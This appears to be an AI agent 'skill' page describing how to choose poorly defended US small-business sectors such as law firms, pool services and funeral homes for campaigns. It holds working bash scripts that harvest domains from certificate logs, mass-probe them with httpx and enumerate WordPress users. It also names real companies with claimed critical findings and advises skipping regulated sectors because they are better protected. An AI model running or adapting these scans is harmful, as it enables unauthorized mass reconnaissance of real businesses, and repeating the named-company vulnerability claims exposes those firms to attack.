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Pick sectors, compile targets, batch recon for campaigns.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
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Catalog: 25 attacks, 18 WP, 8 CORS to match findings.
7-phase pentest pipeline from passive recon to exploitation.
| name | sector-recon-methodology |
| description | Pick sectors, compile targets, batch recon for campaigns. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["meta","sector","methodology","target-selection","us-companies"],"category":"meta","related_skills":["recon-playbook","wp-mass-recon","attack-patterns-reference","subdomain-enumeration","cross-wave-delta-analysis","web-enumeration"]} |
Methodology for selecting non-regulated industry sectors with the highest WordPress vulnerability rates, compiling company domain lists, and running batch reconnaissance. Distilled from surveying 600+ US companies across 28 sectors. Identifies which sectors to target, which to skip, and what patterns dominate each sector.
recon-playbook Phase 0 — this skill provides the sector intelligence.terminal tool with curl, jq, httpx, subfinder.# Generate targets for a sector
SECTOR="landscaping"
curl -sk "https://crt.sh/?q=%25.${SECTOR}%25&output=json" | jq -r '.[].name_value' | \
sed 's/\*\.//g' | sed 's/^www\.//' | sort -u > ${SECTOR}_targets.txt
Script: scripts/parallel_sector_probe.py — OPSEC-controlled batch probe with random delays, generates per-domain findings files. Run python3 scripts/parallel_sector_probe.py targets.txt output_dir/ for a full WP/CORS/XMLRPC/leak scan.
| Tier | Sectors | Typical WP Rate | Best Pattern | Notes |
|---|---|---|---|---|
| 1 | Law, Landscaping, Pools, Pest, Roofing, Dental, Gyms, Real Estate, HVAC, Property, Auto Repair, Photography | 30-50% | CORS + WP users | Minimal WAF, GoDaddy/Bluehost |
| 2 | Cleaning, Moving, Accounting, Septic, Window, Car Wash, Bakery, Locksmith, Solar, Chimney, Fire, Pet Grooming | 20-40% | Source leaks, CORS | Mixed hosting, some WAF |
| 3 | Car Dealers, Insurance, Travel, Banks, Healthcare | 0-5% | N/A | Enterprise WAF, regulated, no WP |
| Sector | Vuln Rate | Top Pattern | WordPress Rate | WAF Protection | Best Targets |
|---|---|---|---|---|---|
| Law Firms | 25% | P-06 (CORS auth) | ~30% | Minimal | Solo/small firm, GoDaddy-hosted |
| Landscaping | 20% | WP-01 (user enum) | ~50% | Minimal | Local SMB, franchise model |
| Pool Services | 20% | WP-01 (user enum) | ~45% | Minimal | Summer-seasonal businesses |
| Pest Control | 20% | P-02 (CORS) | ~40% | Minimal | Franchise-heavy |
| Roofing | 15% | WP-01, P-17 | ~45% | Minimal | Local contractors |
| Dental Clinics | 15% | WP-01 (user enum) | ~35% | Some | Single-dentist practices |
| Gyms/Fitness | 15% | WP-01 (user enum) | ~40% | Some | CrossFit, yoga, martial arts |
| Real Estate | 15% | P-02 (CORS) | ~40% | Some | Independent brokerages |
| HVAC/Plumbing | 14% | WP-01, P-02 | ~35% | Some | Franchise-heavy, staging common |
| Property Management | 15% | P-02 (CORS) | ~30% | Some | PII-heavy sector |
| Photography | 10% | WP-01 (user enum) | ~50% | Some | Portfolio sites, often WP |
| Funeral Homes | 10% | WP-01 (user enum) | ~33% | Minimal | WordPress + user enum found on 2 targets (funeralwise.com, memorialplanning.com) |
| Senior Living | 17% | P-02 (CORS) + XMLRPC | ~33% | Cloudflare | SeniorLifestyle.com (80 XMLRPC methods + CORS + multicall), SonataSeniorLiving.com (CORS) — 2/12 tested = CRITICAL findings |
| Sector | Vuln Rate | Notes |
|---|---|---|
| Cleaning Services | 13% | Carpet, window, mold remediation |
| Moving Companies | 6% | Fewer WP, more SaaS platforms |
| Accounting/CPA | 5% | Some regulated, some not — financial data at risk |
| Septic Services | 25% source leaks | Massive source leak rate (.env, .git, wp-config) |
| Window Cleaning | 25% CORS | Small operations, DIY WP |
| Car Washes | 20% source leaks | Dockerfile, swagger, actuator endpoints common |
| Bakeries | 18% CORS wildcard | 28 leaked files on one target |
| Locksmiths | 20% WP users + XMLRPC | 38 subdomains on one target |
| Solar Installers | Minimal | Major brands use enterprise platforms |
| Chimney Sweeps | ~10% CORS + XMLRPC | Small family businesses, WP common |
| Fire Restoration | ~10% | Franchise model (Servpro, Belfor) |
| Pet Grooming | 20% WP users | Dogtopia, Camp Bow Wow — WP detected |
russellpools.com — Critical (Score 9):
| Sector | Vuln Rate | Why |
|---|---|---|
| Car Dealerships | 0% | Enterprise CDK/Dealertrack platforms, not WordPress |
| Travel Agencies | 0% | SaaS (Sabre, Amadeus), not self-hosted |
| Banks/Credit Unions | 0% | GLBA regulated, mandatory security |
| Major Healthcare | 0% | HIPAA regulated, HITRUST certified |
| Home Services | 0% | Angi/Thumbtack platforms, not self-hosted |
Skip these sectors unless you have specific intelligence suggesting WordPress usage.
OUTDIR="/root/output/sectors"
mkdir -p "$OUTDIR"
echo "[*] Sector vulnerability potential assessment:"
echo ""
# Run quick sector probe: crt.sh → httpx → WP detection → user count
probe_sector() {
local sector="$1"
local file="$OUTDIR/${sector}_probe.txt"
echo "[*] Probing sector: $sector"
# Get domains from crt.sh
curl -sk --max-time 20 "https://crt.sh/?q=%25.${sector}%25&output=json" 2>/dev/null | \
jq -r '.[].name_value' 2>/dev/null | sed 's/\*\.//g' | sed 's/^www\.//' | \
grep -E '^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' | sort -u | head -50 > "$OUTDIR/${sector}_domains.txt"
# Option C: Manual known-company list (when crt.sh/subfinder time out)
if [[ ! -s "$OUTDIR/${sector}_domains.txt" ]]; then
echo " crt.sh empty — using manual known-company list"
# Generate known US companies in this sector
# Example: for "vet" or "pet_care" sector, known chains include:
cat > "$OUTDIR/${sector}_domains.txt" << 'EOF'
banfield.com
vca.com
petco.com
medvet.com
bluepearlvet.com
petcureoncology.com
animalclinic.com
petvets.com
veterinarypracticenews.com
EOF
fi
local total=$(wc -l < "$OUTDIR/${sector}_domains.txt")
echo " Domains: $total"
# Probe with httpx
httpx -silent -l "$OUTDIR/${sector}_domains.txt" -threads 30 -status-code -tech-detect \
-o "$OUTDIR/${sector}_alive.txt" 2>/dev/null
local alive=$(wc -l < "$OUTDIR/${sector}_alive.txt")
echo " Live: $alive"
# WordPress count
local wp=$(grep -ci 'wordpress' "$OUTDIR/${sector}_alive.txt" 2>/dev/null || echo 0)
echo " WordPress: $wp"
# Quick user enumeration on WP targets
local users=0
grep -i 'wordpress' "$OUTDIR/${sector}_alive.txt" 2>/dev/null | awk '{print $1}' | head -10 | while read -r url; do
ucount=$(curl -sk --max-time 5 "$url/wp-json/wp/v2/users" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d) if isinstance(d,list) else 0)" 2>/dev/null || echo 0)
[[ "$ucount" -gt 0 ]] && echo " $url: $ucount users" >> "$OUTDIR/${sector}_users.txt"
done
local user_targets=$(wc -l < "$OUTDIR/${sector}_users.txt" 2>/dev/null || echo 0)
echo " User leaks: $user_targets"
# Score the sector
echo "$sector | domains=$total | alive=$alive | wp=$wp | user_leaks=$user_targets" >> "$OUTDIR/sector_scores.txt"
}
# Probe top candidate sectors
for sector in "landscaping" "roofing" "hvac" "pools" "plumbing" "lawn-care" \
"pest-control" "law-firm" "dentist" "gym" "real-estate" "auto-repair" \
"moving-company" "photography" "cleaning-service" "church"; do
probe_sector "$sector"
sleep 3 # Rate limit
done
echo ""
echo "[*] Sector scores:"
sort -t'|' -k5 -rn "$OUTDIR/sector_scores.txt" 2>/dev/null | head -15
OUTDIR="/root/output/sectors"
# For selected high-yield sectors, compile full target lists
SELECTED_SECTORS=("landscaping" "roofing" "pools" "plumbing" "pest-control" "law-firm")
echo "[*] Compiling target lists for selected sectors..."
> "$OUTDIR/all_targets.txt"
for sector in "${SELECTED_SECTORS[@]}"; do
echo " Sector: $sector"
# crt.sh wildcard search
curl -sk --max-time 20 "https://crt.sh/?q=%25.${sector}%25&output=json" 2>/dev/null | \
jq -r '.[].name_value' 2>/dev/null | sed 's/\*\.//g' | sed 's/^www\.//' | \
grep -E '^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' | sort -u > "$OUTDIR/${sector}_all.txt"
# Also try subfinder
subfinder -d "${sector}.com" -silent 2>/dev/null >> "$OUTDIR/${sector}_all.txt"
# Add to master list with sector label
while read -r domain; do
echo "$domain|$sector" >> "$OUTDIR/all_targets.txt"
done < "$OUTDIR/${sector}_all.txt"
sleep 2
done
# Clean: remove CDN domains, parking pages, known false positives
echo "[*] Cleaning target list..."
# Remove common false positives
grep -viE 'cloudflare|akamai|fastly|awsdns|googleusercontent|azurewebsites' "$OUTDIR/all_targets.txt" | \
sort -u > "$OUTDIR/all_targets_clean.txt"
total=$(wc -l < "$OUTDIR/all_targets_clean.txt")
echo "[+] $total clean targets across ${#SELECTED_SECTORS[@]} sectors"
After batch recon (using recon-playbook), compute per-sector stats:
OUTDIR="/root/output/sectors"
FINDINGS_DIR="/root/output/playbook/phase2_findings"
echo "[*] Computing sector statistics..."
# Extract sector from target list
declare -A SECTOR_WP
declare -A SECTOR_CORS
declare -A SECTOR_XMLRPC
declare -A SECTOR_LEAKS
declare -A SECTOR_TOTAL
# Read target list
while IFS='|' read -r domain sector; do
[[ -z "$sector" ]] && continue
((SECTOR_TOTAL[$sector]++))
findings_file="$FINDINGS_DIR/${domain}_p2.md"
if [[ -f "$findings_file" ]]; then
grep -q "WordPress:" "$findings_file" && ((SECTOR_WP[$sector]++))
grep -q "CORS:" "$findings_file" && ((SECTOR_CORS[$sector]++))
grep -q "XMLRPC:" "$findings_file" && ((SECTOR_XMLRPC[$sector]++))
grep -q "Source leak:" "$findings_file" && ((SECTOR_LEAKS[$sector]++))
fi
done < "$OUTDIR/all_targets_clean.txt"
# Print sector report
echo ""
echo "## Sector Vulnerability Report"
echo ""
echo "| Sector | Targets | WP | CORS | XMLRPC | Leaks | Rate |"
echo "|--------|---------|-----|------|--------|-------|------|"
for sector in "${!SECTOR_TOTAL[@]}"; do
total=${SECTOR_TOTAL[$sector]}
wp=${SECTOR_WP[$sector]:-0}
cors=${SECTOR_CORS[$sector]:-0}
xmlrpc=${SECTOR_XMLRPC[$sector]:-0}
leaks=${SECTOR_LEAKS[$sector]:-0}
vulns=$((cors + xmlrpc + leaks))
rate=$(python3 -c "print(f'{$vulns/$total*100:.1f}%')" 2>/dev/null || echo "0%")
echo "| $sector | $total | $wp | $cors | $xmlrpc | $leaks | $rate |"
done
When creating a new sector-specific recon skill, use this template:
---
name: recon-SECTORNAME
description: Reconnaissance workflow for SECTOR NAME companies.
version: 1.0.0
author: uphiago
license: MIT
platforms: [linux]
metadata:
tags: [recon, sector, SECTORNAME]
category: recon
---
# SECTOR NAME Recon Skill
[2-3 sentence description of sector-specific attack surface]
## When to Use
- Targeting SECTOR NAME companies for recon.
- [Sector-specific trigger]
## Quick Reference
| Attack Surface | Expected Prevalence | Top Pattern |
|----------------|---------------------|-------------|
| WordPress | XX% | WP-01 |
| CORS | XX% | V1 |
| XMLRPC | XX% | WP-05 |
| Source leaks | XX% | P-17 |
## Attack Surface Signals
- [Sector-specific CMS/platform signals]
- [Common third-party integrations]
- [Typical infrastructure patterns]
- [PII/regulated data vectors]
## Sector-Specific Bypasses
- [WAF/CDN patterns for this sector]
- [Rate limiting characteristics]
- [Common security gaps]
## Real Examples
- [Target name]: [finding] (severity)
- [Target name]: [finding] (severity)
## Related Skills
- wp-mass-recon
- cors-credential-wordpress
- xmlrpc-exploitation
- source-leak-hunt
pest control may return pestcontrol.com (the SaaS, not pest control companies). Filter by domain patterns typical of SMBs.*.cloudfront.net or *.awsdns-*.org appear in sector crt.sh queries. Filter aggressively.